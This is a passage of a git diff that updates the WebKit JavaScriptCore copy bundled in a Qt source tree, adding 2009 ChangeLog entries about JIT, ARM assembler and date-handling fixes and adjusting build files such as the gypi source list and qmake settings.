+        * runtime/JSGlobalData.cpp:
+        (JSC::JSGlobalData::JSGlobalData):
+        * runtime/JSGlobalData.h:
+        * wtf/DateMath.cpp:
+        (WTF::getCurrentUTCTime):
+        (WTF::getCurrentUTCTimeWithMicroseconds):
+        (WTF::getLocalTime):
+        (JSC::getUTCOffset): Use the new cache. Also, see below.
+        (JSC::gregorianDateTimeToMS):
+        (JSC::msToGregorianDateTime):
+        (JSC::initializeDates):
+        (JSC::parseDateFromNullTerminatedCharacters): Simplified the way this function
+        accounts for the local timezone offset, to accomodate our new caching API,
+        and a (possibly misguided) caller in WebCore. Also, see below.
+        * wtf/DateMath.h:
+        (JSC::GregorianDateTime::GregorianDateTime): Moved most of the code in
+        DateMath.* into the JSC namespace. The code needed to move so it could
+        naturally interact with ExecState and JSGlobalData to support caching.
+        Logically, it seemed right to move it, too, since this code is not really
+        as low-level as the WTF namespace might imply -- it implements a set of
+        date parsing and conversion quirks that are finely tuned to the JavaScript
+        language. Also removed the Mac OS X notify_* infrastructure.
+        
+        * wtf/CurrentTime.h:
+        (WTF::currentTimeMS):
+        (WTF::getLocalTime): Moved the rest of the DateMath code here, and renamed
+        it to make it consistent with WTF's currentTime function.
+
+2009-11-06  Gabor Loki  <loki@inf.u-szeged.hu>
+
+        Unreviewed trivial buildfix after r50595.
+
+        Rename the remaining rshiftPtr calls to rshift32
+
+        * jit/JITArithmetic.cpp:
+        (JSC::JIT::emit_op_rshift):
+        * jit/JITInlineMethods.h:
+        (JSC::JIT::emitFastArithImmToInt):
+
+2009-11-06  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Tidy up the shift methods on the macro-assembler interface.
+
+        Currently behaviour of shifts of a magnitude > 0x1f is undefined.
+        Instead defined that all shifts are masked to this range.  This makes a lot of
+        practical sense, both since having undefined behaviour is not particularly
+        desirable, and because this behaviour is commonly required (particularly since
+        it is required bt ECMA-262 for shifts).
+
+        Update the ARM assemblers to provide this behaviour.  Remove (now) redundant
+        masks from JITArithmetic, and remove rshiftPtr (this was used in case that
+        could be rewritten in a simpler form using rshift32, only optimized JSVALUE32
+        on x86-64, which uses JSVALUE64!)
+
+        * assembler/MacroAssembler.h:
+        * assembler/MacroAssemblerARM.h:
+        (JSC::MacroAssemblerARM::lshift32):
+        (JSC::MacroAssemblerARM::rshift32):
+        * assembler/MacroAssemblerARMv7.h:
+        (JSC::MacroAssemblerARMv7::lshift32):
+        (JSC::MacroAssemblerARMv7::rshift32):
+        * assembler/MacroAssemblerX86_64.h:
+        * jit/JITArithmetic.cpp:
+        (JSC::JIT::emit_op_lshift):
+        (JSC::JIT::emit_op_rshift):
+
+2009-11-05  Gavin Barraclough  <barraclough@apple.com>
+
+        Rubber Stamped by Oliver Hunt.
+
+        Remove a magic number (1) from the JIT, instead compute the value with OBJECT_OFFSET.
+
+        * jit/JITInlineMethods.h:
+        (JSC::JIT::emitPutJITStubArg):
+        (JSC::JIT::emitPutJITStubArgConstant):
+        (JSC::JIT::emitGetJITStubArg):
+        (JSC::JIT::emitPutJITStubArgFromVirtualRegister):
+        * jit/JITStubCall.h:
+        (JSC::JITStubCall::JITStubCall):
+        (JSC::JITStubCall::getArgument):
+        * jit/JITStubs.h:
+
+2009-11-05  Zoltan Herczeg  <zherczeg@inf.u-szeged.hu>
+
+        Reviewed by Gavin Barraclough.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31159
+        Fix branchDouble behaviour on ARM THUMB2 JIT.
+
+        The x86 branchDouble behaviour is reworked, and all JIT
+        ports should follow the x86 port. See bug 31104 and 31151
+
+        This patch contains a fix for the traditional ARM port
+
+        * assembler/ARMAssembler.h:
+        (JSC::ARMAssembler::):
+        (JSC::ARMAssembler::fmrs_r):
+        (JSC::ARMAssembler::ftosid_r):
+        * assembler/MacroAssemblerARM.h:
+        (JSC::MacroAssemblerARM::):
+        (JSC::MacroAssemblerARM::branchDouble):
+        (JSC::MacroAssemblerARM::branchConvertDoubleToInt32):
+
+2009-11-05  Chris Jerdonek  <chris.jerdonek@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        Removed the "this is part of the KDE project" comments from 
+        all *.h, *.cpp, *.idl, and *.pm files.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=31167
+        
+        The maintenance and architecture page in the project wiki lists
+        this as a task.
+        
+        This change includes no changes or additions to test cases 
+        since the change affects only comments.
+        
+        * wtf/wince/FastMallocWince.h:
+
+2009-11-05  Gabor Loki  <loki@inf.u-szeged.hu>
+
+        Reviewed by Gavin Barraclough.
+
+        Use ARMv7 specific encoding for immediate constants on ARMv7 target
+        https://bugs.webkit.org/show_bug.cgi?id=31060
+
+        * assembler/ARMAssembler.cpp:
+        (JSC::ARMAssembler::getOp2): Use INVALID_IMM
+        (JSC::ARMAssembler::getImm): Use encodeComplexImm for complex immediate
+        (JSC::ARMAssembler::moveImm): Ditto.
+        (JSC::ARMAssembler::encodeComplexImm): Encode a constant by one or two
+        instructions or a PC relative load.
+        * assembler/ARMAssembler.h: Use INVALID_IMM if a constant cannot be
+        encoded as an immediate constant.
+        (JSC::ARMAssembler::):
+        (JSC::ARMAssembler::movw_r): 16-bit immediate load
+        (JSC::ARMAssembler::movt_r): High halfword 16-bit immediate load
+        (JSC::ARMAssembler::getImm16Op2): Encode immediate constant for
+        movw_r and mowt_r
+
+2009-11-04  Mark Mentovai  <mark@chromium.org>
+
+        Reviewed by Mark Rowe.
+
+        Provide TARGETING_TIGER and TARGETING_LEOPARD as analogues to
+        BUILDING_ON_TIGER and BUILDING_ON_LEOPARD.  The TARGETING_ macros
+        consider the deployment target; the BUILDING_ON_ macros consider the
+        headers being built against.
+
+        * wtf/Platform.h:
+
+2009-11-04  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31151
+        Fix branchDouble behaviour on ARM THUMB2 JIT.
+
+        The ARMv7 JIT is currently using ARMv7Assembler::ConditionEQ to branch
+        for DoubleEqualOrUnordered, however this is incorrect - ConditionEQ won't
+        branch on unordered operands.  Similarly, DoubleLessThanOrUnordered &
+        DoubleLessThanOrEqualOrUnordered use ARMv7Assembler::ConditionLO &
+        ARMv7Assembler::ConditionLS, whereas they should be using
+        ARMv7Assembler::ConditionLT & ARMv7Assembler::ConditionLE.
+
+        Fix these, and fill out the missing DoubleConditions.
+
+        * assembler/MacroAssemblerARMv7.h:
+        (JSC::MacroAssemblerARMv7::):
+        (JSC::MacroAssemblerARMv7::branchDouble):
+
+2009-11-04  Gavin Barraclough  <barraclough@apple.com>
+
+        Rubber Stamped by Oliver Hunt.
+
+        Enable native call optimizations on ARMv7.  (Existing ARM_TRADITIONAL
+        implementation was generic, worked perfectly, just needed turning on).
+
+        * jit/JITOpcodes.cpp:
+        * wtf/Platform.h:
+
+2009-11-04  Gavin Barraclough  <barraclough@apple.com>
+
+        Rubber Stamped by Mark Rowe, Oliver Hunt, and Sam Weinig.
+
+        Add a missing assert to the ARMv7 JIT.
+
+        * assembler/ARMv7Assembler.h:
+        (JSC::ARMThumbImmediate::ARMThumbImmediate):
+
+2009-11-04  Mark Rowe  <mrowe@apple.com>
+
+        Rubber-stamped by Oliver Hunt.
+
+        Remove bogus op_ prefix on dumped version of three opcodes.
+
+        * bytecode/CodeBlock.cpp:
+        (JSC::CodeBlock::dump):
+
+2009-11-04  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Fix dumping of constants in bytecode so that they aren't printed as large positive register numbers.
+
+        We do this by having the registerName function return information about the constant if the register
+        number corresponds to a constant.  This requires that registerName, and several functions that call it,
+        be converted to member functions of CodeBlock so that the constant value can be retrieved.  The
+        ExecState also needs to be threaded down through these functions so that it can be passed on to
+        constantName when needed.
+
+        * bytecode/CodeBlock.cpp:
+        (JSC::constantName):
+        (JSC::CodeBlock::registerName):
+        (JSC::CodeBlock::printUnaryOp):
+        (JSC::CodeBlock::printBinaryOp):
+        (JSC::CodeBlock::printConditionalJump):
+        (JSC::CodeBlock::printGetByIdOp):
+        (JSC::CodeBlock::printPutByIdOp):
+        (JSC::CodeBlock::dump):
+        * bytecode/CodeBlock.h:
+        (JSC::CodeBlock::isConstantRegisterIndex):
+
+2009-11-04  Pavel Heimlich  <tropikhajma@gmail.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30647
+        Solaris build failure due to strnstr.
+
+        * wtf/StringExtras.h: Enable strnstr on Solaris, too.
+
+2009-11-04  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31104
+        Refactor x86-specific behaviour out of the JIT.
+
+        - Add explicit double branch conditions for ordered and unordered comparisons (presently the brehaviour is a mix).
+        - Refactor double to int conversion out into the MacroAssembler.
+        - Remove broken double to int conversion for !JSVALUE32_64 builds - this code was broken and slowing us down, fixing it showed it not to be an improvement.
+        - Remove exclusion of double to int conversion from (1 % X) cases in JSVALUE32_64 builds - if this was of benefit this is no longer the case; simplify.
+
+        * assembler/MacroAssemblerARM.h:
+        (JSC::MacroAssemblerARM::):
+        * assembler/MacroAssemblerARMv7.h:
+        (JSC::MacroAssemblerARMv7::):
+        * assembler/MacroAssemblerX86Common.h:
+        (JSC::MacroAssemblerX86Common::):
+        (JSC::MacroAssemblerX86Common::convertInt32ToDouble):
+        (JSC::MacroAssemblerX86Common::branchDouble):
+        (JSC::MacroAssemblerX86Common::branchConvertDoubleToInt32):
+        * jit/JITArithmetic.cpp:
+        (JSC::JIT::emitBinaryDoubleOp):
+        (JSC::JIT::emit_op_div):
+        (JSC::JIT::emitSlow_op_jnless):
+        (JSC::JIT::emitSlow_op_jnlesseq):
+        * jit/JITOpcodes.cpp:
+        (JSC::JIT::emit_op_jfalse):
+
+2009-11-04  Mark Mentovai  <mark@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Remove BUILDING_ON_LEOPARD from JavaScriptCore.gyp.  This is supposed
+        to be set as needed only in wtf/Platform.h.
+
+        * JavaScriptCore.gyp/JavaScriptCore.gyp:
+
 2009-11-02  Oliver Hunt  <oliver@apple.com>
 
         Reviewed by Gavin Barraclough.
@@ -177,19 +10167,161 @@
         * jit/JITStubs.cpp:
         (JSC::JITThunks::tryCacheGetByID):
 
-2009-10-30  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+2009-11-02  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        PLATFORM(CF) should be set when building for Qt on Darwin
+        https://bugs.webkit.org/show_bug.cgi?id=23671
+
+        * wtf/Platform.h: Turn on CF support if both QT and DARWIN
+        platforms are defined.
+
+2009-11-02  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by David Levin.
+
+        Remove threadsafe refcounting from tasks used with WTF::MessageQueue.
+        https://bugs.webkit.org/show_bug.cgi?id=30612
+
+        * wtf/MessageQueue.h:
+        (WTF::MessageQueue::alwaysTruePredicate):
+        (WTF::MessageQueue::~MessageQueue):
+        (WTF::MessageQueue::append):
+        (WTF::MessageQueue::appendAndCheckEmpty):
+        (WTF::MessageQueue::prepend):
+        (WTF::MessageQueue::waitForMessage):
+        (WTF::MessageQueue::waitForMessageFilteredWithTimeout):
+        (WTF::MessageQueue::tryGetMessage):
+        (WTF::MessageQueue::removeIf):
+        The MessageQueue is changed to act as a queue of OwnPtr<DataType>. It takes ownership
+        of posted tasks and passes it to the new owner (in another thread) when the task is fetched.
+        All methods have arguments of type PassOwnPtr<DataType> and return the same type.
+
+        * wtf/Threading.cpp:
+        (WTF::createThread):
+        Superficial change to trigger rebuild of JSC project on Windows,
+        workaround for https://bugs.webkit.org/show_bug.cgi?id=30890
+
+2009-10-30  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Fixed failing layout test: restore a special case I accidentally deleted.
+
+        * runtime/DatePrototype.cpp:
+        (JSC::setNewValueFromDateArgs): In the case of applying a change to a date
+        that is NaN, reset the date to 0 *and* then apply the change; don't just
+        reset the date to 0.
+
+2009-10-30  Geoffrey Garen  <ggaren@apple.com>
+
+        Windows build fix: update for object-to-pointer change.
+
+        * runtime/DatePrototype.cpp:
+        (JSC::formatLocaleDate):
+
+2009-10-29  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30942
+        Use pointers instead of copies to pass GregorianDateTime objects around.
+        
+        SunSpider reports a shocking 4.5% speedup on date-format-xparb, and 1.3%
+        speedup on date-format-tofte.
+
+        * runtime/DateInstance.cpp:
+        (JSC::DateInstance::gregorianDateTime):
+        * runtime/DateInstance.h:
+        * runtime/DatePrototype.cpp:
+        (JSC::formatLocaleDate):
+        (JSC::dateProtoFuncToString):
+        (JSC::dateProtoFuncToUTCString):
+        (JSC::dateProtoFuncToISOString):
+        (JSC::dateProtoFuncToDateString):
+        (JSC::dateProtoFuncToTimeString):
+        (JSC::dateProtoFuncGetFullYear):
+        (JSC::dateProtoFuncGetUTCFullYear):
+        (JSC::dateProtoFuncToGMTString):
+        (JSC::dateProtoFuncGetMonth):
+        (JSC::dateProtoFuncGetUTCMonth):
+        (JSC::dateProtoFuncGetDate):
+        (JSC::dateProtoFuncGetUTCDate):
+        (JSC::dateProtoFuncGetDay):
+        (JSC::dateProtoFuncGetUTCDay):
+        (JSC::dateProtoFuncGetHours):
+        (JSC::dateProtoFuncGetUTCHours):
+        (JSC::dateProtoFuncGetMinutes):
+        (JSC::dateProtoFuncGetUTCMinutes):
+        (JSC::dateProtoFuncGetSeconds):
+        (JSC::dateProtoFuncGetUTCSeconds):
+        (JSC::dateProtoFuncGetTimezoneOffset):
+        (JSC::setNewValueFromTimeArgs):
+        (JSC::setNewValueFromDateArgs):
+        (JSC::dateProtoFuncSetYear):
+        (JSC::dateProtoFuncGetYear): Renamed getGregorianDateTime to gregorianDateTime,
+        since it no longer has an out parameter. Uses 0 to indicate invalid dates.
+
+2009-10-30  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
 
-        Reviewed by NOBODY (OOPS!).
+        Allow custom memory allocation control for JavaScriptCore's ListHashSet
+        https://bugs.webkit.org/show_bug.cgi?id=30853
 
-        [Qt] Use the default timeout interval for JS as the HTML tokenizer delay for setHtml()
+        Inherits ListHashSet class from FastAllocBase because it is
+        instantiated by 'new' in WebCore/rendering/RenderBlock.cpp:1813.
 
-        This ensures that long-running JavaScript (for example due to a modal alert() dialog),
-        will not trigger a deferred load after only 500ms (the default tokenizer delay) while
-        still giving a reasonable timeout (10 seconds) to prevent deadlock.
+        * wtf/ListHashSet.h:
 
-        https://bugs.webkit.org/show_bug.cgi?id=29381
+2009-10-30  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
 
-        * runtime/TimeoutChecker.h: Add getter for the timeout interval
+        Regression: crash enumerating properties of an object with getters or setters
+        https://bugs.webkit.org/show_bug.cgi?id=30948
+
+        Add a guard to prevent us trying to cache property enumeration on
+        objects with getters or setters.
+
+        * runtime/JSPropertyNameIterator.cpp:
+        (JSC::JSPropertyNameIterator::create):
+
+2009-10-30  Roland Steiner  <rolandsteiner@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Remove ENABLE_RUBY guards as discussed with Dave Hyatt and Maciej Stachowiak.
+
+        Bug 28420 -  Implement HTML5 <ruby> rendering
+        (https://bugs.webkit.org/show_bug.cgi?id=28420)
+ 
+        No new tests (no functional change).
+
+        * Configurations/FeatureDefines.xcconfig:
+
+2009-10-29  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        REGRESSION (r50218-r50262): E*TRADE accounts page is missing content
+        https://bugs.webkit.org/show_bug.cgi?id=30947
+        <rdar://problem/7348833>
+
+        The logic for flagging that a structure has non-enumerable properties
+        was in addPropertyWithoutTransition, rather than in the core Structure::put
+        method.  Despite this I was unable to produce a testcase that caused
+        the failure that etrade was experiencing, but the new assertion in
+        getEnumerablePropertyNames triggers on numerous layout tests without
+        the fix, so in effecti all for..in enumeration in any test ends up
+        doing the required consistency check.
+
+        * runtime/Structure.cpp:
+        (JSC::Structure::addPropertyWithoutTransition):
+        (JSC::Structure::put):
+        (JSC::Structure::getEnumerablePropertyNames):
+        (JSC::Structure::checkConsistency):
 
 2009-10-29  Gabor Loki  <loki@inf.u-szeged.hu>
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/DerivedSources.make b/src/3rdparty/webkit/JavaScriptCore/DerivedSources.make
deleted file mode 100644
index 9eaccab..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/DerivedSources.make
+++ /dev/null
@@ -1,76 +0,0 @@
-# Copyright (C) 2006, 2007, 2008, 2009 Apple Inc. All rights reserved.
-#
-# Redistribution and use in source and binary forms, with or without
-# modification, are permitted provided that the following conditions
-# are met:
-#
-# 1.  Redistributions of source code must retain the above copyright
-#     notice, this list of conditions and the following disclaimer. 
-# 2.  Redistributions in binary form must reproduce the above copyright
-#     notice, this list of conditions and the following disclaimer in the
-#     documentation and/or other materials provided with the distribution. 
-# 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
-#     its contributors may be used to endorse or promote products derived
-#     from this software without specific prior written permission. 
-#
-# THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
-# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-# DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
-# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
-# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
-# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
-# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
-# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-VPATH = \
-    $(JavaScriptCore) \
-    $(JavaScriptCore)/parser \
-    $(JavaScriptCore)/pcre \
-    $(JavaScriptCore)/docs \
-    $(JavaScriptCore)/runtime \
-    $(JavaScriptCore)/interpreter \
-    $(JavaScriptCore)/jit \
-#
-
-.PHONY : all
-all : \
-    ArrayPrototype.lut.h \
-    chartables.c \
-    DatePrototype.lut.h \
-    Grammar.cpp \
-    JSONObject.lut.h \
-    Lexer.lut.h \
-    MathObject.lut.h \
-    NumberConstructor.lut.h \
-    RegExpConstructor.lut.h \
-    RegExpObject.lut.h \
-    StringPrototype.lut.h \
-    docs/bytecode.html \
-#
-
-# lookup tables for classes
-
-%.lut.h: create_hash_table %.cpp
-	$^ -i > $@
-Lexer.lut.h: create_hash_table Keywords.table
-	$^ > $@
-
-# JavaScript language grammar
-
-Grammar.cpp: Grammar.y
-	bison -d -p jscyy $< -o $@ > bison_out.txt 2>&1
-	perl -p -e 'END { if ($$conflict) { unlink "Grammar.cpp"; die; } } $$conflict ||= /conflict/' < bison_out.txt
-	touch Grammar.cpp.h
-	touch Grammar.hpp
-	cat Grammar.cpp.h Grammar.hpp > Grammar.h
-	rm -f Grammar.cpp.h Grammar.hpp bison_out.txt
-
-# character tables for PCRE
-
-chartables.c : dftables
-	$^ $@
-
-docs/bytecode.html: make-bytecode-docs.pl Interpreter.cpp 
-	perl $^ $@
diff --git a/src/3rdparty/webkit/JavaScriptCore/Info.plist b/src/3rdparty/webkit/JavaScriptCore/Info.plist
index 17949b0..77c9eb8 100644
--- a/src/3rdparty/webkit/JavaScriptCore/Info.plist
+++ b/src/3rdparty/webkit/JavaScriptCore/Info.plist
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
 <plist version="1.0">
 <dict>
 	<key>CFBundleDevelopmentRegion</key>
@@ -7,7 +7,7 @@
 	<key>CFBundleExecutable</key>
 	<string>${PRODUCT_NAME}</string>
 	<key>CFBundleGetInfoString</key>
-	<string>${BUNDLE_VERSION}, Copyright 2003-2009 Apple Inc.; Copyright 1999-2001 Harri Porten &lt;porten@kde.org&gt;; Copyright 2001 Peter Kelly &lt;pmk@post.com&gt;; Copyright 1997-2005 University of Cambridge; Copyright 1991, 2000, 2001 by Lucent Technologies.</string>
+	<string>${BUNDLE_VERSION}, Copyright 2003-2010 Apple Inc.; Copyright 1999-2001 Harri Porten &lt;porten@kde.org&gt;; Copyright 2001 Peter Kelly &lt;pmk@post.com&gt;; Copyright 1997-2005 University of Cambridge; Copyright 1991, 2000, 2001 by Lucent Technologies.</string>
 	<key>CFBundleIdentifier</key>
 	<string>com.apple.${PRODUCT_NAME}</string>
 	<key>CFBundleInfoDictionaryVersion</key>
diff --git a/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.gypi b/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.gypi
index 03c23c3..e5f3408 100644
--- a/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.gypi
+++ b/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.gypi
@@ -64,6 +64,7 @@
             'bytecode/StructureStubInfo.h',
             'bytecompiler/BytecodeGenerator.cpp',
             'bytecompiler/BytecodeGenerator.h',
+            'bytecompiler/NodesCodegen.cpp',
             'bytecompiler/Label.h',
             'bytecompiler/LabelScope.h',
             'bytecompiler/RegisterID.h',
@@ -119,6 +120,7 @@
             'jit/JITInlineMethods.h',
             'jit/JITOpcodes.cpp',
             'jit/JITPropertyAccess.cpp',
+            'jit/JITPropertyAccess32_64.cpp',
             'jit/JITStubCall.h',
             'jit/JITStubs.cpp',
             'jit/JITStubs.h',
@@ -148,8 +150,6 @@
             'pcre/ucpinternal.h',
             'pcre/ucptable.cpp',
             'profiler/CallIdentifier.h',
-            'profiler/HeavyProfile.cpp',
-            'profiler/HeavyProfile.h',
             'profiler/Profile.cpp',
             'profiler/Profile.h',
             'profiler/ProfileGenerator.cpp',
@@ -159,8 +159,6 @@
             'profiler/Profiler.cpp',
             'profiler/Profiler.h',
             'profiler/ProfilerServer.h',
-            'profiler/TreeProfile.cpp',
-            'profiler/TreeProfile.h',
             'runtime/ArgList.cpp',
             'runtime/ArgList.h',
             'runtime/Arguments.cpp',
@@ -332,20 +330,7 @@
             'runtime/Tracing.h',
             'runtime/UString.cpp',
             'runtime/UString.h',
-            'wrec/CharacterClass.cpp',
-            'wrec/CharacterClass.h',
-            'wrec/CharacterClassConstructor.cpp',
-            'wrec/CharacterClassConstructor.h',
-            'wrec/Escapes.h',
-            'wrec/Quantifier.h',
-            'wrec/WREC.cpp',
-            'wrec/WREC.h',
-            'wrec/WRECFunctors.cpp',
-            'wrec/WRECFunctors.h',
-            'wrec/WRECGenerator.cpp',
-            'wrec/WRECGenerator.h',
-            'wrec/WRECParser.cpp',
-            'wrec/WRECParser.h',
+            'runtime/WeakRandom.h',
             'wtf/AlwaysInline.h',
             'wtf/ASCIICType.h',
             'wtf/Assertions.cpp',
@@ -369,8 +354,8 @@
             'wtf/FastMalloc.h',
             'wtf/Forward.h',
             'wtf/GetPtr.h',
-            'wtf/GOwnPtr.cpp',
-            'wtf/GOwnPtr.h',
+            'wtf/gobject/GOwnPtr.cpp',
+            'wtf/gobject/GOwnPtr.h',
             'wtf/gtk/MainThreadGtk.cpp',
             'wtf/gtk/ThreadingGtk.cpp',
             'wtf/HashCountedSet.h',
@@ -400,8 +385,6 @@
             'wtf/PassRefPtr.h',
             'wtf/Platform.h',
             'wtf/PtrAndFlags.h',
-            'wtf/qt/MainThreadQt.cpp',
-            'wtf/qt/ThreadingQt.cpp',
             'wtf/RandomNumber.cpp',
             'wtf/RandomNumber.h',
             'wtf/RandomNumberSeed.h',
@@ -414,11 +397,16 @@
             'wtf/SegmentedVector.h',
             'wtf/StdLibExtras.h',
             'wtf/StringExtras.h',
+            'wtf/StringHashFunctions.h',
             'wtf/TCPackedCache.h',
+            'wtf/qt/MainThreadQt.cpp',
+            'wtf/qt/ThreadingQt.cpp',
             'wtf/TCPageMap.h',
             'wtf/TCSpinLock.h',
             'wtf/TCSystemAlloc.cpp',
             'wtf/TCSystemAlloc.h',
+            'wtf/ThreadIdentifierDataPthreads.cpp',
+            'wtf/ThreadIdentifierDataPthreads.h',
             'wtf/Threading.cpp',
             'wtf/Threading.h',
             'wtf/ThreadingNone.cpp',
@@ -440,6 +428,7 @@
             'wtf/unicode/UTF8.cpp',
             'wtf/unicode/UTF8.h',
             'wtf/UnusedParam.h',
+            'wtf/ValueCheck.h',
             'wtf/Vector.h',
             'wtf/VectorTraits.h',
             'wtf/VMTags.h',
diff --git a/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.order b/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.order
index 3ae3ec6..d6f6caa 100644
--- a/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.order
+++ b/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.order
@@ -1625,7 +1625,6 @@ __ZN3JSC18EmptyStatementNode12emitBytecodeERNS_17BytecodeGeneratorEPNS_10Registe
 __ZN3JSCL27compareByStringPairForQSortEPKvS1_
 __Z22jsc_pcre_ucp_othercasej
 __ZN3JSCL35objectProtoFuncPropertyIsEnumerableEPNS_9ExecStateEPNS_8JSObjectENS_7JSValueERKNS_7ArgListE
-__ZNK3JSC8JSObject21getPropertyAttributesEPNS_9ExecStateERKNS_10IdentifierERj
 __ZN3WTF7HashMapIjN3JSC7JSValueENS_7IntHashIjEENS_10HashTraitsIjEENS5_IS2_EEE3setERKjRKS2_
 __ZN3WTF9HashTableIjSt4pairIjN3JSC7JSValueEENS_18PairFirstExtractorIS4_EENS_7IntHashIjEENS_14PairHashTraitsINS_10HashTraitsIjEE
 __ZN3JSC12RegisterFile21releaseExcessCapacityEv
@@ -1841,7 +1840,6 @@ __ZN3JSC6JSCell14toThisJSStringEPNS_9ExecStateE
 __ZNK3JSC6JSCell12toThisStringEPNS_9ExecStateE
 __ZN3JSCL27objectProtoFuncLookupSetterEPNS_9ExecStateEPNS_8JSObjectENS_7JSValueERKNS_7ArgListE
 __ZN3JSC8JSObject12lookupSetterEPNS_9ExecStateERKNS_10IdentifierE
-__ZNK3JSC16JSVariableObject21getPropertyAttributesEPNS_9ExecStateERKNS_10IdentifierERj
 __ZN3JSC9ExecState22regExpConstructorTableEPS0_
 __ZN3JSCL24regExpConstructorDollar7EPNS_9ExecStateERKNS_10IdentifierERKNS_12PropertySlotE
 __ZN3JSCL24regExpConstructorDollar8EPNS_9ExecStateERKNS_10IdentifierERKNS_12PropertySlotE
diff --git a/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri b/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri
index bb531e5..8aa914f 100644
--- a/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri
+++ b/src/3rdparty/webkit/JavaScriptCore/JavaScriptCore.pri
@@ -1,12 +1,26 @@
 # JavaScriptCore - Qt4 build info
 VPATH += $$PWD
+# Output in JavaScriptCore/<config>
+CONFIG(debug, debug|release): JAVASCRIPTCORE_DESTDIR = debug
+CONFIG(release, debug|release): JAVASCRIPTCORE_DESTDIR = release
+# Use different targets to prevent parallel builds file clashes on Mac
+CONFIG(debug, debug|release): JAVASCRIPTCORE_TARGET = jscored
+CONFIG(release, debug|release): JAVASCRIPTCORE_TARGET = jscore
+
+CONFIG(standalone_package) {
+    isEmpty(JSC_GENERATED_SOURCES_DIR):JSC_GENERATED_SOURCES_DIR = $$PWD/generated
+} else {
+    isEmpty(JSC_GENERATED_SOURCES_DIR):JSC_GENERATED_SOURCES_DIR = generated
+}
+
+CONFIG(standalone_package): DEFINES *= NDEBUG
 
-CONFIG(debug, debug|release) {
-    isEmpty(GENERATED_SOURCES_DIR):GENERATED_SOURCES_DIR = generated$${QMAKE_DIR_SEP}debug
-    OBJECTS_DIR = obj/debug
-} else { # Release
-    isEmpty(GENERATED_SOURCES_DIR):GENERATED_SOURCES_DIR = generated$${QMAKE_DIR_SEP}release
-    OBJECTS_DIR = obj/release
+symbian: {
+    # Need to guarantee this comes before system includes of /epoc32/include
+    MMP_RULES += "USERINCLUDE ../JavaScriptCore/profiler"
+    LIBS += -lhal
+    # For hal.h
+    INCLUDEPATH *= $$MW_LAYER_SYSTEMINCLUDE
 }
 
 INCLUDEPATH = \
@@ -19,23 +33,22 @@ INCLUDEPATH = \
     $$PWD/interpreter \
     $$PWD/jit \
     $$PWD/parser \
+    $$PWD/pcre \
     $$PWD/profiler \
     $$PWD/runtime \
-    $$PWD/wrec \
     $$PWD/wtf \
+    $$PWD/wtf/symbian \
     $$PWD/wtf/unicode \
     $$PWD/yarr \
     $$PWD/API \
     $$PWD/ForwardingHeaders \
-    $$GENERATED_SOURCES_DIR \
+    $$JSC_GENERATED_SOURCES_DIR \
     $$INCLUDEPATH
 
+win32-*: DEFINES += _HAS_TR1=0
+
 DEFINES += BUILDING_QT__ BUILDING_JavaScriptCore BUILDING_WTF
 
